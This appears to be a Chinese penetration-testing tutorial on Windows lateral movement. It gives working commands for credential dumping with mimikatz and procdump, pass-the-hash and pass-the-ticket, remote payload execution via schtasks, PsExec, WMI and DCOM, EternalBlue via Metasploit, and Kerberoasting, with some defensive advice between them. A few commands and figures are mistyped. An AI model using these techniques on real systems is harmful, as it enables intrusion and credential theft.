内网之横向移动总结
青 叶

内网之横向移动总结

常用Windows远程连接和相关命令

在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程Windows操作系统中执行命令。在多层代理环境下进行渗透时,网络条件差,最好使用命令行进行连接控制并执行相关命令。

IPC

即Internet Process Connection,IPC共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过ipc$,可以与目标机器建立连接。利用该连接,不仅可以访问目标机器中的文件,进行上传下载等操作,还可以在目标机器上运行其它命令,以获取目标机器的目录结构、用户列表等信息。

首先,建立一个ipc$的命令如下:

1
net use \\pc\ipc$ "password" /user:administrator

其中pc可以为IP地址或主机名,password应该换为用户的密码。

然后使用net use即可查看当前的连接。

ipc$的利用条件
  1. 开启了139、445端口

    ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445端口,可以实现对共享文件/打印机的访问,因此,一般而言ipc$需要139、445端口的支持。

  2. 管理员开启了默认共享

    默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等)和系统目录winnt或windows(admin$)。通过ipc$可以访问以上共享目录。

ipc$连接失败的原因
  • 用户名或者密码 错误
  • 目标没有打开ipc$默认共享
  • 不能成功连接目标的139、445端口
  • 命令错误
常见错误号
错误号 具体含义
5 拒绝访问
51 找不到网络路径,网络存在问题
53 找不到网络路径,包括IP地址错误、目标未开机、目标的服务未启动、有防火墙
67 找不到网络名,包括服务未启动、ipc$已被删除
1219 提供的凭据与已存在的凭据集冲突。例如已经建立了ipc$,重新建立需要删除原有连接
1326 错误的用户名和密码
2242 密码已过期

Windows自带工具获取远程主机信息

dir

建立ipc$连接后,使用dir可以列出文件:

1
dir \\pc\c$
tasklist

参数:

  • /S 主机地址
  • /U 用户
  • /P 密码

一般来说:

1
tasklist /S 192.168.1.123 /U administrator /P password

计划任务

at

主要工作在Win Server 2008版本之前的系统中。使用该工具比较复杂,流程如下:

  1. 使用net time 命令确定远程机器的系统时间

    1
    net time \\pc
  2. 使用copy 命令将Payload文件复制到远程目标机器中

    1
    copy payload.exe \\pc\c$
  3. 使用at定时启动该Payload

    1
    at \\pc 4:00PM C:\payload.exe

    这会输出任务ID,记录该ID。

  4. 使用at删除创建计划任务的记录

    1
    at \\pc ID /delete

    删除第三步获取的ID任务。

在上面的流程开始前,需要建立ipc$连接。

schtasks

在Windows Server 2008、Windows Vista之后版本的操作系统at已经废弃了,所以需要使用这个命令。

在远程主机上创建一个名称为”test”的计划任务如下:

1
shctasks /create /s \\pc /tn test /sc onstart /tr c:\payload.exe /ru system /f

注意这个命令的启动时间为开机时,启动权限为system。

运行一个计划任务:

1
schtasks /run /s \\pc /i /tn "test"

使用该命令无需输入密码,ipc$连接会自动认证。如果没有建立连接,可以使用/u/p参数指定。

计划任务运行后,删除计划任务:

1
schtasks /delete /s \\pc /tn "test" /f

在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。如果执行后没有反弹shell或者说没有回显等情况,可以配合ipc$type命令查看远程执行结果。

Windows系统散列值获取分析与防范

LM Hash与NTLM Hash

Windows操作系统使用两种方法对用户的铭文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。

Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。在Windows操作系统中,hash的结构通常如下:

1
username:RID:LM-HASH:NT-HASH

LM Hash的全名为“Lan Manager Hash”,是微软为了提高WIndows操作系统的安全性而采用的散列加密算法,其本质是DES加密,因此LM Hash比较容易被破解,但是为了系统的兼容性,Windows只是将LM Hash禁用了,从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash。

LM Hash 的一个限制是,其明文密码被限定在了14位以内,这是因为DES的特性造成的。如果需要停止使用LM Hash,则将用户的密码设置14位以上即可。如果LM Hash被禁用了,则抓取的LM Hash通常为:

1
aad3b435b51404eeaad3b435b51404ee

表示LM Hash被禁用或者为空值。

而NTLM Hash是微软为了提高安全性的同时保证兼容性设计的散列加密算法,NTLM Hash是基于MD4三列算法进行加密的。个人版从Windows Vista;服务器从WIndows Server 2003以后,Windows操作系统的认证方式均为NTLM Hash。

单机密码抓取与防范

要想抓取Windows中的散列值或者明文密码,必须拿到System权限。本地用户名、散列值和其它安全验证信息都保存在SAM文件中。lsass.exe进程用于实现Windows的安全策略。可以使用工具将散列值和明文密码从内存中的lsass.exe进程或者SAM文件中导出。

SAM文件的保存地址是:C:\Windows\System32\config。该文件是被锁定的,不允许复制。要想对其复制,可以进入PE后复制或者使用VSS等方法。

对于密码抓取,有以下工具:

GetPass

直接运行对应位数的程序即可获得明文密码。

PwDump7

可以抓取NTLM Hash,然后使用彩虹表等破解散列值,无法破解就用PTH。

QuarksPwDump

执行:

1
QuarksPwDump.exe --dump-hash-local

可以导出NTLM Hash。

大多数杀软已经识别该程序了。

通过Sam和System文件抓取密码
  1. 导出SAM和System文件

    无工具导出SAM文件:

    1
    2
    reg save hklm\sam sam.hive
    reg save hklm\system system.hive

    通过reg的save选项将注册表中的SAM、System文件导出到本地磁盘。

  2. 通过读取SAM和System文件获得NTLM Hash

    1. 使用mimikatz读取SAM和System文件

      运行该程序后,输入:lsadump::sam /sam:sam.hive /system:system.hive

    2. 使用Cain读取Sam文件

      导入文件就可以读取NTLM Hash

    3. 使用mimikatz直接读取本地SAM文件,导出Hash信息

      与方式1不同的是,需要在目标极其上运行mimikatz,需要考虑免杀特性。

      运行mimikatz后,输入privilege::debug提升权限,然后输入token::elevate提升权限至System

      再输入lsadump::sam。读取本地SAM文件,获得NTLM Hash。

使用mimikatz在线读取SAM文件

运行:

1
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
使用mimikatz离线读取lsass.dmp文件

首先需要导出该文件:

  1. 使用任务管理器导出lsass.dmp文件

    再Windows NT 6中,可以在任务管理器中直接进行Dump操作,找到lsass.exe进程,右键Create Dump File

  2. 使用Procdump导出

    这是微软官方发布的工具,不会被查杀拦截:

    1
    procdump.exe -accepteula -ma lsass.exe lsass.dmp

    Sysinternals Utilities - Windows Sysinternals | Microsoft Docs

接着使用mimikatz导出lsass.dmp文件中的密码散列值:

在命令行环境中运行mimikatz,然后加载文件:

1
sekurlsa::minidump lsass.dmp

看到Switch to MINIDUMP即加载成功,然后输入:

1
sekurlsa::logonPasswords full

即可导出密码散列值。

PowerSploit 远程加载mimikatz抓取散列值和明文密码
1
Invoke-Mimikatz
单机密码抓取的防范方法

安装补丁KB2871997或者禁用Wdigest功能。

开启Widgest Auth:

1
2
3
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type REG_DWORD -Value 1

关闭Widgest Auth:

1
2
3
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
# powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type REG_DWORD -Value 0

使用Hashcat获取密码

Hashcat系列软件支持使用CPU、GPU进行密码破解,包括Hashcat、oclHashcat、oclRausscrack;除了Hashcat只支持CPU破解,其它的都支持GPU加速破解。

oclHashcat分为A卡版和N卡版,需要安装指定的显卡驱动才可运行,基于字典攻击。

安装Hashcat

项目地址:hashcat/hashcat: World’s fastest and most advanced password recovery utility (github.com)

下载Release后压缩包里有可执行文件,无需编译和安装。

如果希望安装则执行:

1
make && make install
使用方法

可以使用-b参数测试当前机器的破解基准速度。

  1. 指定散列值类型

    如果能确定散列值类型的话,可以使用参数-m number指定

    支持的类型特别多:

    image

  2. 指定破解模式

    使用-a number指定破解模式:

    image

  3. 常用命令

    一般来说使用字典模式进行破解:

    1
    hashcat -a 0 -m xx <hashfile> <dcit1> <dict2>

    指定数字作为破解:

    1
    hashcat -a 3 --increment --increment-min 1 --increment-max 8 ?d?d?d?d?d?d?d?d -O

    破解Windows散列值:

    1
    hashcat -m 1000 -a 0 -o winpassok.txt win,hash password.lst --username

    破解WIFI握手包,需要使用Aricrack-Ng将cap转换为hccap格式才可以使用Hashcap破解:

    1
    2
    aircrack-ng <out.cap> -J <out.hccap>
    hashcat -m 2500 out.hccap dics.txt
  4. 常用选项

    使用-h可以列出所有的选项,常用的选项如下:

    • -show 仅显示已破解的密码
    • -o 定义散列值文件,恢复文件名和保存位置
    • -n 线程数
    • –remove 把破解出来的密码从散列值列表中移除
    • –segment-size 512 设置内存缓存的大小(可以提高破解速度),单位为MB

防范攻击者抓取明文密码和散列值

  1. 设置AD 2012 R2功能限制

    Windows Server 2012 R2新增了一个名为”受保护的用户“的用户组,只需要将需要保护的用户放入该组,攻击者就无法使用mimikatz抓取明文密码和散列值。

  2. 安装KB2871997

    该补丁用于解决PsExec或IPC远程查看问题的补丁,能使本地账号不再被允许远程接入计算机系统,但系统默认的本地管理员账号Administrator这个SID为500的用户例外。攻击者仍然可以使用横向攻击方法获得内网中其它计算机的控制器。安装KB2871997后,仍需禁用默认的Administrator账号,以防御PTH攻击。

  3. 修改注册表禁止在内存中存储明文密码

    单机密码抓取的防范方法

  4. 防御mimikatz

    将拥有Debug权限的本地管理员从Administrator组中删除,此时就无法通过mimikatz抓取散列值或明文密码。

哈希传递攻击分析与防范

哈希传递攻击的概念

该方法通过找到与账户相关的密码散列值后进行攻击。在域环境中,用户登陆计算时使用的大都是域账户,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理账户和密码也是相同的,攻击者就能通过哈希传递攻击的方法登陆内网中的其它计算机。这样我们就不需要花费时间去破解密码散列值。

在Windows网络中,散列值就是用来证明身份的,而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成认为。在Windows Server 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其它计算机中,进行权限验证,实现对远程计算机的控制。

哈希传递攻击分析

关于散列值的概念不过多解释了。

早期Windows使用LM Hash进行验证,但是从Windows Vista和Windows Server 2008后,Windows默认禁用LM Hash而是使用NTLM Hash进行认证,不会使用明文口令。

不过攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。

传递NTLM哈希 可以使用mimikatz:

1
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:hackme.com /ntlmL:D9F9553F143473F54939F5E7E2676128""

如果使用的是AES-256密钥传递的话,则目标系统必须安装KB2871997补丁才可以:

先抓取AES-256密钥:

1
mimikatz "privilege::debug" "sekurlsa::ekeys"

随后:

1
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:hackme.com /aes256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

但注意,该补丁安装后,只能使用SID为500的用户账号进行横向移动,其它账号都无法进行。

票据传递攻击分析与防范

要想使用mimikatz的哈希传递,就必须要本地管理员权限。

如果没有本地管理员权限呢,mimikatz也提供了无需本地管理权限进行横向移动的方法,例如票据传递攻击。

使用mimikatz进行票据传递

导出内存票据:

1
mimikatz "privilege::debug" "sekurlsa::tickets /export"

执行后当前目录下会出现多个服务的票据文件,例如krbtgt、cifs、ldap等。

使用mimikatz清楚内存中的票据:

1
mimikatz "kerberos::purge"

注入票据:

1
mimikatz "kerberos::ptt" "C:\ticket\xxx.kirbi"

将高权限的票据文件注入内存后,可以使用dir列出远程计算机系统的文件目录。

使用kekeo进行票据传递

除了mimikatz也可以使用kekeo实现。

项目地址:gentilkiwi/kekeo: A little toolbox to play with Microsoft Kerberos in C (github.com)

该工具需要使用域名、用户名、NTLM Hash三者配合生成票据,再将票据导入,从而直接连接远程计算机。

使用kekeo生成票据文件:

1
kekeo "tgt::ask /user:administrator /domain:hackme.com /ntlm:XXXXXXXXXXXXXXXXXXXXXXXXX"

使用kekeo清楚内存中的其它票据:

1
kekeo "kerberos::purge"

当然使用Windows自带的命令也是可以的:

1
klist purge

然后使用kekeo导入票据:

1
kerberos::ptt xxx.kirbi

随后正常使用即可。

如何防范票据传递攻击

总结一下票据传递攻击的思路:

  • 使用dir时,务必使用主机名,IP地址会错误
  • 票据注入内存的默认有效时间为10小时
  • 在目标机器上不需要本地管理员权限即可进行票据传递

通过上面几点就可理清票据传递攻击的思路了。

PsExec的使用

PsExec是Sysinternals Utilities - Windows Sysinternals | Microsoft Docs套件中一款功能强大的软件。起初是用于大批量Windows主机的运维,在域环境下效果尤其好。

攻击者渐渐开始使用PsExec,通过命令行环境与目标机器连接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行控制,降低了被发现的可能性,并且由于该工具是微软官方提供的工具,杀毒软件将其列入了白名单。

PsExec可以在Windows Vista/NT 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016上运行(包括64位版本)。

该软件的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为”PSEXECSVC“的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务。

首先,需要获取目标系统的交互式Shell,在建立了ipc$的情况下,执行如下命令:

1
PsExec.exe -accepteula \\pc -s cmd.exe

-s表示获取系统权限的Shell,如果没有该参数获取到的为Administrator权限的Shell。

当然,如果没有建立ipc$,也可以通过参数传递账密:

1
psexec \\pc -u administrator -p password cmd.exe

如果只是想执行一个命令的话,可以使用cmd.exe /c command,例如:

1
psexec \\pc cmd.exe /c "ipconfig"

使用该程序时,注意事项如下:

  • 远程系统需要开启admin$共享
  • 使用ipc$连接后,不需要输入账号密码
  • 在使用PsExec执行远程命令时,会在目标系统中创建一个psexec服务,会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程
  • 使用PsExec可以直接获得System权限的交互式Shell

MSF的psexec

相关模块:

1
2
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh # Powershell版本的PsExec

实际使用中,使用Powershell版本的效果比EXE版要好。

对应参数设置见MSF的提示。

WMI的使用

由于PsExec被大量使用后,杀毒软件开始将其加入黑名单,此时攻击者开始逐渐使用WMI进行横向移动。

并且使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,所以对网管而言增加了攻击溯源成本;对攻击者而言,被发现的可能性降低。

基本命令

1
wmic /node:192.168.100.190 /user:administrator /password:password process call create "cmd.exe /c ipconfig > ip.txt"

上面的命令会在目标系统上使用cmd.exe执行ipconfig并且将结果保存在C盘的ip.txt文件里。

然后使用ipc$连接后,使用type命令击溃了查看结果。

接下来,使用wmic远程执行命令,在远程系统中启动Windows Management Instrumentation服务(目标服务器需要开发135端口,wmic会以管理员权限在云彩系统中执行命令)。如果目标服务器开启了防火墙,wmic将无法进行连接。此外,wmic没有回显,需要使用$ipc查看信息,但是不留日志。

Impacket工具包的wmiexec

项目地址:SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols. (github.com)

该脚本在examples里。

使用:

1
wmiexec.py administrator:password@@host

即可获得Shell,该方法主要是从Linux向Windows进行横向渗透测试时使用。

wmiexec.vbs

已经被加查杀名单了。

Invoke-WmiCommand

在PowerSploit中,主要通过Powershell来调用WMI,本质还是利用WMI。

1
2
3
4
5
$User = "hackme\administrator"
$Password = ConvertTo-SecureString -String "password" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user,$password
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.100.205
$Remote.PayloadOutput

Invoke-WMIMethod

这是Powershell自带的Cmdlet,可以在远程系统中执行命令和指定程序。

1
2
3
4
$User = "hackme\administrator"
$Password = ConvertTo-SecureString -String "password" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user,$password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.100.205" -Credential $Cred

但是这不会回显。

永恒之蓝漏洞分析与防范

漏洞编号为MS17-01,该漏洞危害性极大,可以攻击70%的Windows服务器。

MSF中已经继承了该漏洞的测试模块:

1
auxiliary/scanner/smb/smb_ms17_010

输入对应的参数进行测试即可。

值得注意的是,可以进行大规模测试,只需要设置RHOSTS为一个IP地址段即可,例如192.168.1.0/24

该漏洞的利用可以使用MSF的模块:

1
exploit/windows/smb/ms17_010_eternalblue

提供合适的参数,并且指定Payload即可开始攻击,如果一切正常将得到一个反弹Shell。

该漏洞攻击反弹的Shell默认就是NT AUTHORITY\SYSTEM权限。

拿到Meterpreter后可以使用hashdump命令抓取当前系统的用户散列值。

其余操作可以看官方文档。

防御措施如下:

  • 禁用SMB协议
  • 安装补丁KB2919355
  • 使用防火墙阻止445端口的连接
  • 不要随意打开陌生文件
  • 安装杀毒软件,即使更新病毒库

SMBExec的使用

SMBExec可以通过文件共享(admin$、c$、ipc$、d$)在远程系统中执行命令。

C++版SMBExec

项目地址:sunorr/smbexec: execute remote cmd with smb like psexec (github.com)

不过多说明了,这个项目已经废了。

impacket工具包中的smbexec.py

命令:

1
smbexe.cpy hackme/administrator:password@\@192.168.100.205

注意将第二个@转义

Linux跨Windows远程执行命令

项目地址:brav0hax/smbexec (github.com)

克隆该项目后,运行install.sh然后就可以安装了,安装过程略。

安装后使用:

  1. 主菜单项1

    smbexec的主菜单项1用于列举系统中的重要信息,如图:

    image

    选项1用于扫描目标网络IP地址段中存活的主机。

    选项2用于列举目标系统中的管理员用户。需要输入IP地址、用户名、密码、域四项,前三项可以使用选项1扫描的结果,但是域必须手动添加。

    选项3用于列举当前登陆目标系统的用户,用户名、密码、域三项会自动加载最近输入的内容。

    选项4用于列举目标系统的UAC状态。

    选项5用于对目标系统中的网络共享目录进行列举。

    选项6用于在目标系统中搜索敏感文件、例如配置文件、密码信息、缓存文件等。

    选项7用于列举远程登陆目标主机的用户。

    选项8用于返回主菜单。

  2. 主菜单项2

    该菜单项用于在目标系统中执行命令、获得权限等。

    选项1用于生成一个Meterpreter Payload并在目标系统直接运行它。可以使用MSF、Empire、CS建立一个监听并获取一个Shell。

    选项2用于直接关闭远程主机的UAC,网关可以通过攻击者关闭UAC的操作发现系统正在遭受攻击。

    选项3的功能是在执行选项2关闭目标系统的UAC后,重新打开目标系统的UAC,使目标系统复原。

    选项4用于执行一个Powershell脚本。

    选项5使用基于PsExec的方式获得目标系统的一个System权限的Shell。

DCOM在远程系统中的使用

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DCOM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。

通过本地DCOM执行命令

获取DCOM程序列表

在Powershell 3.0以上可以使用Get-CimInstance获取:

1
Get-CimInstance Win32_DCOMApplication

如果没有该Cmdlet,可以使用:

1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
使用DCOM执行任意命令

本地启用一个管理员权限的Powershell:

1
2
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c ipconfig","Minimzed")

该方法通过ExecuteShellCommand运行了ipconfig命令,如果把该命令改成其它恶意程序就会造成威胁。

使用DCOM在远程机器上执行命令

在使用该方法时,必须关闭系统防火墙,在远程机器上执行命令时,必须使用具有本地管理员权限的账户。

  1. 建立ipc$连接

    1
    net use \\pc "password" /user:hackme.com\user
  2. 执行命令

    1. 调用MMC20.Application

      此时通过Powershell调用:

      1
      2
      $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.100.205"))
      $com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c calc.exe","Minimzed")

      此时一切顺利可以在目标机器看到进程,且进程用户为Dm。

    2. 调用9BA05972-F6A8-11CF-A442-00A0C90A8F39

      Powershell:

      1
      2
      3
      4
      $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "127.0.0.1")
      $obj = [System.Activator]::CreateInstance($com)
      $item = $obj.item()
      $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\System32",$null,0)

      正常来说可以在目标主机看到运行的进程,用户为Administrator。

SPN在域环境中的应用

WIndows域环境时基于微软的活动目录服务工作的,它在网络系统环境中 将物理位置分散、所属部门不同的用户进行分组,集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了分配管理的便利性。

微软给域内的每种资源分配了不同的服务主题名称(Service Principal Name, SPN)。

SPN扫描

相关概念

在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkService、LocalSystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。因为域坏境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控发送查询请求,获取其需要的服务的SPN,从而知晓需要使用的服务资源在哪台机器上。

Kerberos身份验证使用SPN将服务实例与服务登陆账号关联起来。如果域中的计算机上安装了多个服务实例,那么每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证,那么给定的服务实例可以有多个SPN。例如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所在主机的每个名称或别名注册一个SPN。

根据Kerberos协议,用户输入自己的账号和密码登陆活动目录时,域控会对账户和密码进行验证,验证通过后,KDC会将服务授权的票据发送给用户。

以一个例子说明。

当用户需要访问MSSQL服务时,系统会以当前用户身份向域控查询SPN为MSSQL的记录。找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的AS对TGT解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的票据和该SPN所对应的服务的地址发送给用户。用户使用该票据即可访问MSSQL服务。

SPN命令的格式如下:

1
SPN = serviceclass "/" hostname [":"port] ["/" servicename]
  • serviceclass:服务组件的名称
  • hostname:以/与后面的名称分割,是计算机的FQDN(全限定域名)
  • port:以冒号分割,后面的内容为端口号
  • servicename:一个字符串,可以是服务的专有名称(DN)、ObjectGuid、Internet主机名或全限定域名
常见SPN服务

MSSQL服务的实例代码如下:

1
MSSQLSvc/computer1.pentest.com:1433
  • MSSQLSvc:服务组件的名称
  • computer1.pentest.com:主机名computer1,域名为pentest.com
  • 1433:端口号为1344

Exchange服务实例代码如下:

1
exchangeMDB/EXCAS01.hackme.com

RDP服务的实例代码如下:

1
TERMSERV/EXCAS01.hackme.com

WSMan/WinRM/PSRemoting服务的示例代码如下:

1
WSMAN/EXCAS01.hackme.com

用于进行PSN扫描的Powershell脚本

与端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因此触发内容IPS、IDS等设备的规则而产生大量的警告日志)。因为SPN查询时Kerberos票据行为的一部分,所以检测难度较大。

PowerShell-AD-Recon工具包提供了一系列服务与服务登陆账号与运行服务的主机之间的对应关系,这些服务包括但不限于MSSQL、Exchange、RDP、WinRM。

项目地址:PyroTek3/PowerShell-AD-Recon: PowerShell Scripts I find useful (github.com)

  1. 利用SPN发现域中所有的MSSQL服务

    由于SPN时通过LDAP协议向域控进行查询的,所以,攻击者只要获得一个普通的域用户权限就可以进行SPN扫描:

    1
    2
    Import-Module .\Discover-PSMSSQLServers.ps1
    Discover-PSMSSQLServers
  2. 扫描域中所有的SPN信息

    在域中的任意一台机器上,以域用户的身份运行一个PowerShell进程,将脚本导入并执行,命令如下:

    1
    2
    Import-Module .\Discover-PSInterestingServices.ps1
    Discover-PSInterestingServices

在不使用第三方Powershell脚本的情况下,输入命令:

1
setspn -T domain -q */*

也可以列出域中的所有SPN信息。

Kerberoast攻击防范与分析

上一小节介绍了SPN的概念以及如何快速扫描发现内网的服务。

Kerberoast是一种针对Kerberos协议的攻击方式。在因为需要使用某个特定资源而向TGS发送Kerberos服务票据的请求时,用户首先需要使用具有有效身份权限的TGT向TGS请求响应服务的票据。当TGT被验证有效且具有该服务的权限时,会向用户发送一张票据。该票据使用与SPN相关联的计算机服务账号的NTLM Hash(RC4_HMAC_MD5),也就是说,攻击者会通过Kerberoast尝试使用不同的NTML Hash来打开该Kerberos票据。如果攻击者使用的NTLM Hash时正确的,Kerberos票据就会被打开,而该NTLM Hash对应于该计算机服务账号的密码。

在域环境中,攻击者会通过Kerberoast使用普通用户权限在活动目录中将计算机服务账号的凭据提取出来。因为在使用该方法时,大多数操作都是离线完成的,不会向目标系统发送任何信息,所有不会引起安全设备的报警。又因为大多数网络的域坏境策略不够严格,所以,计算机服务账号的密码很容易收到Kerberoast攻击的影响。

下面通过一个例子展示该攻击:

手动注册SPN

配置MSSQL服务,然后手动注册SPN:

1
setspn -A MSSQLSvc/computer1.hackme.com:1433 mssql
查看用户所对应的SPN

查看用户所对应的SPN:

1
setspn -L hackme.com\mssql

查看所有注册的SPN:

1
setspn -T domain -q */*

查看指定用户注册的SPN,命令如下:

1
setspn -L hackme.com\mssql
使用adsiedit.msc查看用户SPN及其它高级属性

可以使用该Windows工具查看用户SPN以及其它高级属性。

配置指定服务的登陆权限

配置如下:

image

注意该配置应该是HACKME\mssql,NT SERVICE\ALL SERVICES,而不是上面图片那样的。

修改加密类型

由于Kerberos协议的默认加密方式为AES256_HMAC,而通过tgsrepcrack.py无法破解该加密方式,所以攻击者会通过服务器组策略将加密方式设置为RC4_HMAC_MD5,配置组策略:

1
\Computer Configuration\Windows Settins\Security Settings\Local Policies\Security Options\Network security: Configure encryption types allowed for Kerberos

设置该选项为RC4_HMAC_MD5

请求SPN Kerberos票据

在Powershell中:

1
2
Add-Type -AssemblyName system.identityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/computer1.hackme.com"
使用Mimikatz导出票据

在mimikatz中执行:

1
kerberos::list /export
使用Kerberoast脚本离线破解票据对应账号的NTLM Hash

项目地址:nidem/kerberoast (github.com)

使用tgsrepcrack.py进行破解:

1
python tgsrepcrack.py wordlist.txt mssql.kirbi

如果破解成功,该票据所对应账号的密码将被打印在屏幕上。

防范建议
  • 最有效的方法是:确保服务账号密码的长度超过25位;确保密码的随机性;定期修改服务账号的密码
  • 如果攻击者无法修改默认的加密方式为RC4_HMAC_ND5,就无法进行破解
  • 攻击者可以通过嗅探的方式抓取Kerberos TGS票据。因此,如果强制使用AES256_HMAC方式对Kerberos票据进行加密,那么攻击者也无法破解。
  • 许多服务账户在内网中被分配了过高的权限,且密码强度通常较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管权限。因此,应该对服务账户的权限进行适当的配置,提高密码强度。
  • 在进行日志审计时,可以重点关注ID为4769的事件,该事件为Kerberos的请求Kerberos服务票据事件。

Exchange邮件服务器安全防范

Exchang是微软的一个电子邮件服务组件,是一个消息与协作系统。此外,Exchang支持Powershell对其进行本地或远程操作。

Exchange邮件服务器介绍

邮件服务器角色介绍

通过划分不同的服务器角色,以及为这些角色设置依存关系,Exchange将电子邮件处理变成了一个强大、丰富、稳定而又复杂的过程。Exchange在逻辑上分为三层,分别是网络(Network Layer)、目录曾(Directory Layer)、消息层(Messageing Layer)。服务器角色处于消息层。

以Exchange2010为例,共有五个服务器角色:

  • 邮箱服务器

    托管邮箱、公共文件夹以及相关消息的后端组件,是必选的服务器角色

  • 客户端访问服务器

    接受和处理来自不同客户端的请求的服务器校色,为通过不同的协议进行的访问提供支持。在一个Exchange环境中,至少需要部署一个客户端访问服务器。

  • 集线传输服务器

    也称中心传输服务器。该服务器角色的核心服务就是Microsoft Exchange Transport,负责处理Mail Flow、对邮件进行路由及在Exchange组织中进行分发。相当于一个邮件传输的中继站,在一个Exchange环境中,至少需要部署一个集线传输服务器。

  • 统一消息服务器

    将专用交换机和Exchange服务器集成在一起,允许用户通过邮件发送、存储语音消息和传真消息。可选角色。

  • 边缘传输服务器

    专用服务器,可用于路由发往内部或外部的邮件,通常部署在网络边界并用于设置安全便捷。该服务器角色接受刀子内部组织和外部可信服务器的邮件,对这些邮件应用特定的反垃圾邮件、反病毒策略,将通过策略筛选的邮件的路由到内部的集线传输服务器上。可选角色。

除了边缘传输服务器,其它服务器都可以部署在同一台主机上。邮箱服务器、客户端访问服务器、集线传输服务器是核心服务器角色,只要部署这三个角色就能提供基本的电子邮件处理功能。

客户端/远程访问接口和协议

电子邮件通信一般分为邮件发送和邮件接受两个过程。邮件发送使用统一的通信协议,即SMTP。邮件接受则会使用多种协议标准,例如从POP发展而来的POP3,以及使用广泛的IMAP。Exchange开发了私有的MAPI协议用于收取邮件。新版本的outlook通常使用MAPI协议与Exchange进行交互。除此之外,早期的Outlook使用名为”Outlook Anywhere“的RPC进行交互。

Exchange支持的访问接口和协议列举如下:

  • OWA:Exchange提供的Web邮箱
  • EAC:Exchange管理中心,是组织中的Exchange的Web控制台
  • Outllok Anywhere(RPC-over-HTP,RPC/HTTP)
  • MAPI(MAPI-over-HTTP,MAPI/HTTP)
  • Exchange ActiveSync(EAS,XML/HTTP)
  • Exchange Web Service(EWS,SOAP-over-HTTP)

Exchange服务发现

基于端口扫描发现

Exchange作为一个运行在计算机系统中的、为用户提供服务的应用,必然会开放相应的端口。因为具体开放的端口或服务取决于服务器角色,所以,通过端口扫描就能发现内网或公网中开放的Exchange服务器。

使用nmap进行扫描:

1
nmap -A -O -sV ip

使用Nmap会与主机进行交互,从而产生大量的通信流量造成IDS报警,并在目标服务器中留下大量的日志。

SPN查询

安装Exchange时,SPN就被注册在活动目录中了,因此在域坏境中,可以通过SPN来发现Exchange服务。

可以使用:

1
setspn -T hackme.com -F -Q */*

